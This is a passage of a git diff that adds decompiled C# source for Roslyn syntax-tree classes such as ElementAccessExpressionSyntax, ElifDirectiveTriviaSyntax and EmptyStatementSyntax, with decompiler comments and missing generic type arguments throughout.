(GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DocumentationCommentTriviaSyntax)(object)((SyntaxNode)this).Green).endOfComment, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal DocumentationCommentTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return ((SyntaxNode)this).GetRedAtZero(ref content); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return content; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDocumentationCommentTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDocumentationCommentTrivia(this); + } + + public DocumentationCommentTriviaSyntax Update(SyntaxList content, SyntaxToken endOfComment) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (content != Content || endOfComment != EndOfComment) + { + DocumentationCommentTriviaSyntax documentationCommentTriviaSyntax = SyntaxFactory.DocumentationCommentTrivia(Kind(), content, endOfComment); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return documentationCommentTriviaSyntax; + } + return documentationCommentTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + public DocumentationCommentTriviaSyntax WithContent(SyntaxList content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(content, EndOfComment); + } + + public DocumentationCommentTriviaSyntax WithEndOfComment(SyntaxToken endOfComment) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Content, endOfComment); + } + + public DocumentationCommentTriviaSyntax AddContent(params XmlNodeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithContent(Content.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElementAccessExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElementAccessExpressionSyntax.cs new file mode 100644 index 0000000..1daa776 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElementAccessExpressionSyntax.cs @@ -0,0 +1,83 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ElementAccessExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private BracketedArgumentListSyntax? argumentList; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public BracketedArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 1); + + internal ElementAccessExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expression), + 1 => ((SyntaxNode)this).GetRed(ref argumentList, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expression, + 1 => argumentList, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElementAccessExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElementAccessExpression(this); + } + + public ElementAccessExpressionSyntax Update(ExpressionSyntax expression, BracketedArgumentListSyntax argumentList) + { + if (expression != Expression || argumentList != ArgumentList) + { + ElementAccessExpressionSyntax elementAccessExpressionSyntax = SyntaxFactory.ElementAccessExpression(expression, argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return elementAccessExpressionSyntax; + } + return elementAccessExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ElementAccessExpressionSyntax WithExpression(ExpressionSyntax expression) + { + return Update(expression, ArgumentList); + } + + public ElementAccessExpressionSyntax WithArgumentList(BracketedArgumentListSyntax argumentList) + { + return Update(Expression, argumentList); + } + + public ElementAccessExpressionSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElementBindingExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElementBindingExpressionSyntax.cs new file mode 100644 index 0000000..7377129 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElementBindingExpressionSyntax.cs @@ -0,0 +1,72 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ElementBindingExpressionSyntax : ExpressionSyntax +{ + private BracketedArgumentListSyntax? argumentList; + + public BracketedArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRedAtZero(ref argumentList); + + internal ElementBindingExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref argumentList); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)argumentList; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElementBindingExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElementBindingExpression(this); + } + + public ElementBindingExpressionSyntax Update(BracketedArgumentListSyntax argumentList) + { + if (argumentList != ArgumentList) + { + ElementBindingExpressionSyntax elementBindingExpressionSyntax = SyntaxFactory.ElementBindingExpression(argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return elementBindingExpressionSyntax; + } + return elementBindingExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ElementBindingExpressionSyntax WithArgumentList(BracketedArgumentListSyntax argumentList) + { + return Update(argumentList); + } + + public ElementBindingExpressionSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElifDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElifDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..7131a76 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElifDirectiveTriviaSyntax.cs @@ -0,0 +1,152 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ElifDirectiveTriviaSyntax : ConditionalDirectiveTriviaSyntax +{ + private ExpressionSyntax? condition; + + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElifDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ElifKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElifDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).elifKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 2); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElifDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElifDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + public override bool BranchTaken => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElifDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).BranchTaken; + + public override bool ConditionValue => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElifDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).ConditionValue; + + internal ElifDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref condition, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)condition; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElifDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElifDirectiveTrivia(this); + } + + public ElifDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || elifKeyword != ElifKeyword || condition != Condition || endOfDirectiveToken != EndOfDirectiveToken) + { + ElifDirectiveTriviaSyntax elifDirectiveTriviaSyntax = SyntaxFactory.ElifDirectiveTrivia(hashToken, elifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return elifDirectiveTriviaSyntax; + } + return elifDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new ElifDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, ElifKeyword, Condition, EndOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + public ElifDirectiveTriviaSyntax WithElifKeyword(SyntaxToken elifKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, elifKeyword, Condition, EndOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + internal override ConditionalDirectiveTriviaSyntax WithConditionCore(ExpressionSyntax condition) + { + return WithCondition(condition); + } + + public new ElifDirectiveTriviaSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElifKeyword, condition, EndOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new ElifDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElifKeyword, Condition, endOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + public ElifDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElifKeyword, Condition, EndOfDirectiveToken, isActive, BranchTaken, ConditionValue); + } + + public ElifDirectiveTriviaSyntax WithBranchTaken(bool branchTaken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElifKeyword, Condition, EndOfDirectiveToken, IsActive, branchTaken, ConditionValue); + } + + public ElifDirectiveTriviaSyntax WithConditionValue(bool conditionValue) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElifKeyword, Condition, EndOfDirectiveToken, IsActive, BranchTaken, conditionValue); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElseClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElseClauseSyntax.cs new file mode 100644 index 0000000..299beb1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElseClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ElseClauseSyntax : CSharpSyntaxNode +{ + private StatementSyntax? statement; + + public SyntaxToken ElseKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseClauseSyntax)(object)((SyntaxNode)this).Green).elseKeyword, ((SyntaxNode)this).Position, 0); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 1); + + internal ElseClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref statement, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)statement; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElseClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElseClause(this); + } + + public ElseClauseSyntax Update(SyntaxToken elseKeyword, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (elseKeyword != ElseKeyword || statement != Statement) + { + ElseClauseSyntax elseClauseSyntax = SyntaxFactory.ElseClause(elseKeyword, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return elseClauseSyntax; + } + return elseClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public ElseClauseSyntax WithElseKeyword(SyntaxToken elseKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(elseKeyword, Statement); + } + + public ElseClauseSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(ElseKeyword, statement); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElseDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElseDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..3cb2130 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ElseDirectiveTriviaSyntax.cs @@ -0,0 +1,117 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ElseDirectiveTriviaSyntax : BranchingDirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ElseKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).elseKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + public override bool BranchTaken => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).BranchTaken; + + internal ElseDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElseDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElseDirectiveTrivia(this); + } + + public ElseDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || elseKeyword != ElseKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + ElseDirectiveTriviaSyntax elseDirectiveTriviaSyntax = SyntaxFactory.ElseDirectiveTrivia(hashToken, elseKeyword, endOfDirectiveToken, isActive, branchTaken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return elseDirectiveTriviaSyntax; + } + return elseDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new ElseDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, ElseKeyword, EndOfDirectiveToken, IsActive, BranchTaken); + } + + public ElseDirectiveTriviaSyntax WithElseKeyword(SyntaxToken elseKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, elseKeyword, EndOfDirectiveToken, IsActive, BranchTaken); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new ElseDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElseKeyword, endOfDirectiveToken, IsActive, BranchTaken); + } + + public ElseDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElseKeyword, EndOfDirectiveToken, isActive, BranchTaken); + } + + public ElseDirectiveTriviaSyntax WithBranchTaken(bool branchTaken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ElseKeyword, EndOfDirectiveToken, IsActive, branchTaken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EmptyStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EmptyStatementSyntax.cs new file mode 100644 index 0000000..3f0e052 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EmptyStatementSyntax.cs @@ -0,0 +1,107 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EmptyStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EmptyStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public EmptyStatementSyntax Update(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, semicolonToken); + } + + internal EmptyStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return ((SyntaxNode)this).GetRedAtZero(ref attributeLists); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return attributeLists; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEmptyStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEmptyStatement(this); + } + + public EmptyStatementSyntax Update(SyntaxList attributeLists, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || semicolonToken != SemicolonToken) + { + EmptyStatementSyntax emptyStatementSyntax = SyntaxFactory.EmptyStatement(attributeLists, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return emptyStatementSyntax; + } + return emptyStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new EmptyStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, SemicolonToken); + } + + public EmptyStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new EmptyStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EndIfDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EndIfDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..f35af79 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EndIfDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EndIfDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndIfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken EndIfKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndIfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endIfKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndIfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndIfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal EndIfDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal 